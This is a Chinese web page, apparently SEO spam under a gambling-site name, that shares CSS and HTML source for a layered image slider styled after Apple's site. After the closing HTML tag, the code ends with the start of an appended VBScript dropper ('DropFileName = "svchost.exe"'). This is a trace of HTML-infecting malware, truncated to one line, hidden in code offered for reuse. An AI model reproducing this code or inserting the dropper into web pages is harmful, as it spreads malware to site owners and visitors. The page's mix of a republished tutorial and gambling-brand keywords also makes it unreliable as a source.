MAC苹果官网CSS3banner特效源码|开云网址 |
| 作者：开云网址 时间：2023-07-11 浏览量：9852 |
本文摘要：效果图列位条子，大家中午好！今天给大家带来的是 苹果官网CSS3banner特效源码！效果十分炫酷，十分适合科技企业的官网使用！大家也可以根据自己的想法 修改！分享之前我还是要推荐下我自己建的前端学习群：581549454 。 效果图列位条子，大家中午好！今天给大家带来的是 苹果官网CSS3banner特效源码！效果十分炫酷，十分适合科技企业的官网使用！大家也可以根据自己的想法 修改！分享之前我还是要推荐下我自己建的前端学习群：581549454。内里都是做前端开发的，拒绝卖课和广告！纯学习交流，天天会上传一些优秀的作品和源码，接待初学者和大神们。好了，空话不多说，上源码！层叠样式：body {margin: 0px;padding: 0px;background-color: rgba(255,255,255,1);font-family: 'Source Sans Pro', sans-serif;}#wrapper {width: 100%;float: left;}#buttons{width: 100%;float: left;margin-top: 100px;height: 40px;}#buttons-inner{height: 40px;width: 800px;margin-right: auto;margin-left: auto;}.buttons-inner-button{float: left;height: 40px;margin-right: 10px;margin-left: 10px;}.buttons-inner-button a{color: rgba(255,255,255,1);background-color: rgba(150,40,189,1);line-height: 40px;height: 40px;text-decoration: none;display: block;padding-right: 15px;padding-left: 15px;-webkit-transition: all 0.25s;-moz-transition: all 0.25s;-o-transition: all 0.25s;transition: all 0.25s;}.buttons-inner-button a:hover{background-color: rgba(150,40,189,0.5);}index:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Responsive Layered Slider Demo</title><link href='http://fonts.googleapis.com/css?family=Source+Sans+Pro:200,300,400,600,700,900,200italic,300italic,400italic,600italic,700italic,900italic' rel='stylesheet' type='text/css'><link href="_css/Icomoon/style.css" rel="stylesheet" type="text/css" /><link href="_css/responsive-layered-slider.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="_scripts/jquery-2.0.2.min.js"></script><script type="text/javascript" src="_scripts/jquery-ui-1.10.4.min.js"></script><script type="text/javascript" src="_scripts/responsive-layered-slider.js"></script> <style>#header{background-color: #3f8dbf;float: left;width: 100%;height: 50px;color: rgba(255,255,255,1);line-height: 50px;}#header a {color: rgba(255,255,255,1);text-decoration: none;display: block;font-size: 15px;}#header-left{float: left;height: 50px;}#header-left:hover #header-left-icon{background-color: #3F8DBF;}#header-left:hover #header-left-text{background-color: #599BC8;}#header-left-icon{float: left;height: 50px;width: 50px;text-align: center;background-color: #35759F;-webkit-transition: background 0.5s;-moz-transition: background 0.5s;-o-transition: background 0.5s;transition: background 0.5s;}#header-left-icon a {font-size: 25px;}#header-left-text{float: left;height: 50px;-webkit-transition: background 0.5s;-moz-transition: background 0.5s;-o-transition: background 0.5s;transition: background 0.5s;}#header-left-text a {padding-left: 20px;padding-right: 20px;}#header-right{float: right;height: 50px;}#header-right:hover #header-right-icon{background-color: #3F8DBF;}#header-right:hover #header-right-text{background-color: #599BC8;}#header-right-icon{float: right;height: 50px;width: 50px;text-align: center;background-color: #35759F;-webkit-transition: background 0.5s;-moz-transition: background 0.5s;-o-transition: background 0.5s;transition: background 0.5s;}#header-right-text{float: right;height: 50px; -webkit-transition: background 0.5s;-moz-transition: background 0.5s;-o-transition: background 0.5s;transition: background 0.5s;}#header-right-text a {padding-right: 20px;padding-left: 20px;}</style></head><body><div id="header"><div id="header-left"><div id="header-left-icon"><a href="http://simbyone.com/responsive-layered-slider/"><span class="iconb" data-icon=""></span></a></div><div id="header-left-text"><a href="http://simbyone.com/responsive-layered-slider/">Responsive Layer Slider Article</a></div></div><div id="header-right"><div id="header-right-icon"><a href="http://simbyone.com/download/responsive-layered-slider/" target="_blank"><span class="iconb" data-icon=""></span></a></div><div id="header-right-text"><a href="http://simbyone.com/download/responsive-layered-slider/" target="_blank">Download Source</a></div></div></div><div id="wrapper"><div class="sim-slider" data-width="2550" data-height="1240" data-animation="250" data-current="true" data-progress="true"><div class="sim-slider-inner"><div class="sim-slider-slide"><div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="174" data-left="751" data-top="50"><img src="_assets/layer_0025.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="694" data-height="841" data-left="54" data-top="277"><img src="_assets/layer_0027.png" /></div> <div class="sim-slider-layer" data-effect="fadeInUp" data-width="1019" data-height="848" data-left="770" data-top="277"><img src="_assets/layer_0026.png" /></div> <div class="sim-slider-layer" data-effect="fadeInRight" data-width="694" data-height="841" data-left="1811" data-top="277"><img src="_assets/layer_0028.png" /></div> </div> <div class="sim-slider-slide"><div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="173" data-left="751" data-top="150"><img src="_assets/layer_0020.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="660" data-height="800" data-left="108" data-top="332"><img src="_assets/layer_0021.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="501" data-height="600" data-left="770" data-top="523"><img src="_assets/layer_0022.png" /></div> <div class="sim-slider-layer" data-effect="fadeInRight" data-width="501" data-height="600" data-left="1328" data-top="523"><img src="_assets/layer_0024.png" /></div> <div class="sim-slider-layer" data-effect="fadeInRight" data-width="660" data-height="800" data-left="1807" data-top="332"><img src="_assets/layer_0023.png" /></div> </div><div class="sim-slider-slide"><div class="sim-slider-layer" data-effect="fadeInDown" data-width="757" data-height="97" data-left="528" data-top="138"><img src="_assets/layer_0011.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="883" data-height="64" data-left="399" data-top="361"><img src="_assets/layer_0017.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="827" data-height="64" data-left="458" data-top="444"><img src="_assets/layer_0018.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="793" data-height="64" data-left="489" data-top="519"><img src="_assets/layer_0016.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="715" data-height="64" data-left="569" data-top="596"><img src="_assets/layer_0015.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="680" data-height="64" data-left="604" data-top="674"><img src="_assets/layer_0014.png" /></div><div class="sim-slider-layer" data-effect="fadeInLeft" data-width="650" data-height="64" data-left="634" data-top="754"><img src="_assets/layer_0013.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="417" data-height="64" data-left="867" data-top="837"><img src="_assets/layer_0012.png" /></div><div class="sim-slider-layer" data-effect="fadeInRight" data-width="762" data-height="1035" data-left="1424" data-top="100"><img src="_assets/layer_0019.png" /></div> </div> <div class="sim-slider-slide"><div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1050" data-left="179" data-top="119"><img src="_assets/layer_0029.png" /></div> <div class="sim-slider-layer" data-effect="fadeInUp" data-width="773" data-height="1050" data-left="935" data-top="60"><img src="_assets/layer_0010.png" /></div> <div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1049" data-left="1707" data-top="119"><img src="_assets/layer_0009.png" /></div> <div class="sim-slider-layer" data-effect="fadeInDown" data-width="159" data-height="43" data-left="439" data-top="50"><img src="_assets/layer_0008.png" /></div> <div class="sim-slider-layer" data-effect="fadeInUp" data-width="144" data-height="43" data-left="1260" data-top="1070"><img src="_assets/layer_0007.png" /></div> <div class="sim-slider-layer" data-effect="fadeInDown" data-width="373" data-height="44" data-left="1856" data-top="50"><img src="_assets/layer_0006.png" /></div> </div><div class="sim-slider-slide"><div class="sim-slider-layer" data-effect="fadeInDown" data-width="1053" data-height="172" data-left="742" data-top="086"><img src="_assets/layer_0000.png" /></div> <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="767" data-height="640" data-left="115" data-top="397"><img src="_assets/layer_0005.png" /></div> <div class="sim-slider-layer" data-effect="fadeInDown" data-width="767" data-height="640" data-left="896" data-top="397"><img src="_assets/layer_0003.png" /></div> <div class="sim-slider-layer" data-effect="fadeInRight" data-width="767" data-height="640" data-left="1678" data-top="397"><img src="_assets/layer_0004.png" /></div> <div class="sim-slider-layer" data-effect="fadeInUp" data-width="865" data-height="524" data-left="458" data-top="676"><img src="_assets/layer_0001.png" /></div> <div class="sim-slider-layer" data-effect="fadeInUp" data-width="345" data-height="469" data-left="1506" data-top="676"><img src="_assets/layer_0002.png" /></div> </div> </div> </div><div id="buttons"><div id="buttons-inner"><div class="buttons-inner-button"><a href="index.html">Fade Slider</a></div><div class="buttons-inner-button"><a href="slider2.html">Bounce Slider</a></div> <div class="buttons-inner-button"><a href="slider3.html">Roll Slider</a></div> <div class="buttons-inner-button"><a href="slider4.html">Flip Slider</a></div><div class="buttons-inner-button"><a href="slider5.html">Zoom Slider</a></div> <div class="buttons-inner-button"><a href="slider6.html">Combined Slider</a></div> </div> </div> </div></body></html><SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"。 本文关键词：开云网址 开云网址 |
